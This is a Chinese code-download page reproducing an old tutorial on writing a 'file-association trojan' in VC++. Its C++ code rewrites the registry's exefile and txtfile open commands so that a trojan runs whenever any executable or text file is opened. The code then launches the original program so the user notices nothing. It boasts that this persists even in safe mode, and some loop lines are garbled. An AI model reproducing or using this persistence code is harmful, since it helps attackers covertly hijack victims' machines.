电子书籍,里面有丰富的文章和精神的营养,

源代码在线查看: 文件关联型木马的编程思路.txt

软件大小: 75 K
上传用户: caim3587
关键词: 电子 书籍
下载地址: 免注册下载 普通下载 VIP

相关代码

				标题 文件关联型木马的编程思路 sunyuzhe114(原作)
				
				关键字 木马,vc++,编程,文件
				
				
				
				我们知道一般情况下想在开机启动程序,就要把程序写在注册表中的
				
				HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
				
				HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
				
				HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
				
				等环境中,由于这个值大家都比较熟悉所以很容易被查出,而且进入了windows保护模式这些程序是不会运行的,但是如果我们把我们的程序在注册表中进行了关联却收到了很好的结果。
				
				在注册表HKEY_CLASSES_ROOT\exefile\shell\open\command中的值就是可执行程序*.exe 
				文件的关联处,缺省为“"%1" 
				%*”,如果把这个程序改为我们的木马程序,那样的话,每执行一个可执行程序就会执行我们的程序,而不会再执行原有的程序,这样我们的木马就起动了,我们要做的工作就是我们的木马启动后,再执行原有的程序,这样对于一般的人来看好像什么事也没发生过。好了心动不如行动,我们开始动手做一个吧。
				
				
				
				l 首先用vc建立一个基于对话框的程序srart
				
				在CstartDlg加入公有变量 HANDLE hMutex;(即在class CStartDlg : public CDialog
				{
				// Construction
				public:
					CStartDlg(CWnd* pParent = NULL);后加一句HANDLE hMutex;)
				 防止我们的木马运行多次。
				
				l 在CStartDlg::OnInitDialog()中加入如下函数:(即在BOOL CStartDlg::OnInitDialog()
				{后添加以下代码段 )  
				
				CString str;
				
				str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得传入的命令行参数
				
				const char *MutexObject="MyStart";//建立互斥对象
				
				hMutex=NULL;
				
				hMutex=::CreateMutex(false,false,MutexObject);
				
				if(hMutex!=NULL)
				
				{
				
				DWORD err=GetLastError();
				
				
				
				if(err==ERROR_ALREADY_EXISTS) 
				::PostQuitMessage(0);//如果发现同一程序已经运行,则退出
				
				
				
				}
				
				if(str!="")
				
				{
				
				CString temp;
				
				char ch;
				
				int length =str.GetLength();
				
				for(int i=0;i				
				{
				
				ch=str.GetAt(i);
				
				if(ch=='\\')
				
				temp=temp+"\\\\";
				
				else temp=temp+ch;
				
				
				
				}
				
				temp = temp.Left(temp.GetLength() - 2);
				
				temp = temp.Mid(1); 
				//上面的函数是把字符串中所有的”\”变为”\\”
				
				char str1[]="\"%1\" %*";
				
				
				::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
				
				REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);
				
				// 
				在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
				
				
				ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序
				
				}
				
				//在程序执行完成后,再把注册表改为我们要启动的木马程序的
				
				TCHAR str2[256];
				
				// 得到程序全路径名
				
				GetModuleFileName( NULL, str2, 255 );
				
				strcat(str2," \"%1\" %*");
				
				
				::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
				
				REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);
				
				//经过上述过程只要程序一运行就会执行我们的start 
				程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。
				
				
				
				同样的我们也可以将其它文件进行关联,例如将文本文件进行关联,在CStartDlg::OnInitDialog()中重新加下代码
				
				CString str;
				
				str.Format("%s",AfxGetApp()->m_lpCmdLine);//取得传入的命令行参数
				
				const char *MutexObject="MyStart";//建立互斥对象
				
				hMutex=NULL;
				
				hMutex=::CreateMutex(false,false,MutexObject);
				
				if(hMutex!=NULL)
				
				{
				
				DWORD err=GetLastError();
				
				
				
				if(err==ERROR_ALREADY_EXISTS) 
				::PostQuitMessage(0);//如果发现同一程序已经运行,则退出
				
				
				
				}
				
				if(str.Find("txt")!=-1)
				
				{
				
				CString temp;
				
				char ch;
				
				int length =str.GetLength();
				
				for(int i=0;i				
				{
				
				ch=str.GetAt(i);
				
				if(ch=='\\')
				
				temp=temp+"\\\\";
				
				else temp=temp+ch;
				
				
				
				}
				
				temp = temp.Left(temp.GetLength() - 2);
				
				temp = temp.Mid(1); 
				//上面的函数是把字符串中的"\"变为"\\"
				
				char str1[]="\"%1\" %*";
				
				
				
				// 
				在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
				
				
				ShellExecute(NULL,"open","notepad.exe",temp,NULL,SW_SHOW);//执行原有的程序
				
				}
				
				//在程序执行完成后,再把注册表改为我们要启动的木马程序的
				
				TCHAR str2[256];
				
				// 得到程序全路径名
				
				GetModuleFileName( NULL, str2, 255 );
				
				strcat(str2," \"%1\" %*");
				
				
				::RegSetValue(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",
				
				REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);
				
				//经过上述过程只要程序一运行就会执行我们的start 程序了。
				
				
				当然了这些程序在自己的机器上运行后还是要恢复的下面的函数就可以帮助进行恢复了
				
				char str2[]="NOTEPAD.EXE %1";
				
				
				::RegSetValue(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",
				
				REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);
				
				char str1[]="\"%1\" %*";
				
				
				::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
				
				REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);
				
				
				当然了这个程序在win98下运行比较正常,在win2000下无法打开桌面上的文件夹,再也就没什么问题了。如果谁知道,请告诉我,
				
				sunyuzhe@263.net
							

相关资源